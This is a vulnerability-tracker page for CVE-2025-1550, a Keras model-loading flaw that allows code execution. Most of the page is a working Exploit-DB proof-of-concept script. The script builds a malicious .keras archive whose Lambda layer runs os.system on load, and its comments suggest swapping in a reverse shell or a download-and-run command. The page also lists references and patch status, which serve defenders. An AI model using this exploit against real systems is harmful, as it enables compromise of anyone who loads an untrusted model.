CVE-2025-1550
Description
The Keras Model.load_model function permits arbitrary code execution, even with safe_mode=True, through a manually constructed, malicious .keras archive. By altering the config.json file within the archive, an attacker can specify arbitrary Python modules and functions, along with their arguments, to be loaded and executed during model loading.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Keras 2.15 - Remote Code Execution (RCE)
#!/usr/bin/env python3
# Exploit Title: Keras 2.15 - Remote Code Execution (RCE)
# Author: Mohammed Idrees Banyamer
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Date: 2025-07-09
# Tested on: Ubuntu 22.04 LTS, Python 3.10, TensorFlow/Keras <= 2.15
# CVE: CVE-2025-1550
# Type: Remote Code Execution (RCE)
# Platform: Python / Machine Learning (Keras)
# Author Country: Jordan
# Attack Vector: Malicious .keras file (client-side code execution via deserialization)
# Description:
# This exploit abuses insecure deserialization in Keras model loading. By embedding
# a malicious "function" object inside a .keras file (or config.json), an attacker
# can execute arbitrary system commands as soon as the model is loaded using
# `keras.models.load_model()` or `model_from_json()`.
#
# This PoC generates a .keras file which, when loaded, triggers a reverse shell or command.
# Use only in safe, sandboxed environments!
#
# Steps of exploitation:
# 1. The attacker creates a fake Keras model using a specially crafted config.json.
# 2. The model defines a Lambda layer with a "function" deserialized from the `os.system` call.
# 3. When the victim loads the model using `load_model()`, the malicious function is executed.
# 4. Result: Arbitrary Code Execution under the user running the Python process.
# Affected Versions:
# - Keras <= 2.15
# - TensorFlow versions using unsafe deserialization paths (prior to April 2025 patch)
#
# Usage:
# $ python3 exploit_cve_2025_1550.py
# [*] Loads the malicious model
# [โ] Executes the payload (e.g., creates a file in /tmp)
#
#
# Options:
# - PAYLOAD: The command to execute upon loading (default: touch /tmp/pwned_by_keras)
# - You may change this to: reverse shell, download script, etc.
# Example:
# $ python3 exploit_cve_2025_1550.py
# [+] Created malicious model: malicious_model.keras
# [*] Loading malicious model to trigger exploit...
# [โ] Model loaded. If vulnerable, payload should be executed.
import os
import json
from zipfile import ZipFile
import tempfile
import shutil
from tensorflow.keras.models import load_model
PAYLOAD = "touch /tmp/pwned_by_keras"
def create_malicious_config():
return {
"class_name": "Functional",
"config": {
"name": "pwned_model",
"layers": [
{
"class_name": "Lambda",
"config": {
"name": "evil_lambda",
"function": {
"class_name": "function",
"config": {
"module": "os",
"function_name": "system",
"registered_name": None
}
},
"arguments": [PAYLOAD]
}
}
],
"input_layers": [["evil_lambda", 0, 0]],
"output_layers": [["evil_lambda", 0, 0]]
}
}
def build_malicious_keras(output_file="malicious_model.keras"):
tmpdir = tempfile.mkdtemp()
try:
config_path = os.path.join(tmpdir, "config.json")
with open(config_path, "w") as f:
json.dump(create_malicious_config(), f)
metadata_path = os.path.join(tmpdir, "metadata.json")
with open(metadata_path, "w") as f:
json.dump({"keras_version": "2.15.0"}, f)
weights_path = os.path.join(tmpdir, "model.weights.h5")
with open(weights_path, "wb") as f:
f.write(b"\x89HDF\r\n\x1a\n") # ุชูููุน HDF5
with ZipFile(output_file, "w") as archive:
archive.write(config_path, arcname="config.json")
archive.write(metadata_path, arcname="metadata.json")
archive.write(weights_path, arcname="model.weights.h5")
print(f"[+] Created malicious model: {output_file}")
finally:
shutil.rmtree(tmpdir)
def trigger_exploit(model_path):
print("[*] Loading malicious model to trigger exploit...")
load_model(model_path)
print("[โ] Model loaded. If vulnerable, payload should be executed.")
if __name__ == "__main__":
keras_file = "malicious_model.keras"
build_malicious_keras(keras_file)
trigger_exploit(keras_file)
OS impact
Debian Fixed 1 release
| Version | Status | Fixed in |
|---|---|---|
| bullseye | Fixed | 0 |
References
- https://github.com/keras-team/keras/security/advisories/GHSA-48g7-3x6r-xfhp
- https://nvd.nist.gov/vuln/detail/CVE-2025-1550
- https://github.com/keras-team/keras/pull/20751
- https://github.com/keras-team/keras/commit/e67ac8ffd0c883bec68eb65bb52340c7f9d3a903
- https://github.com/keras-team/keras
- https://github.com/keras-team/keras/releases/tag/v3.9.0
- https://towerofhanoi.it/writeups/cve-2025-1550/
- https://security-tracker.debian.org/tracker/CVE-2025-1550
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.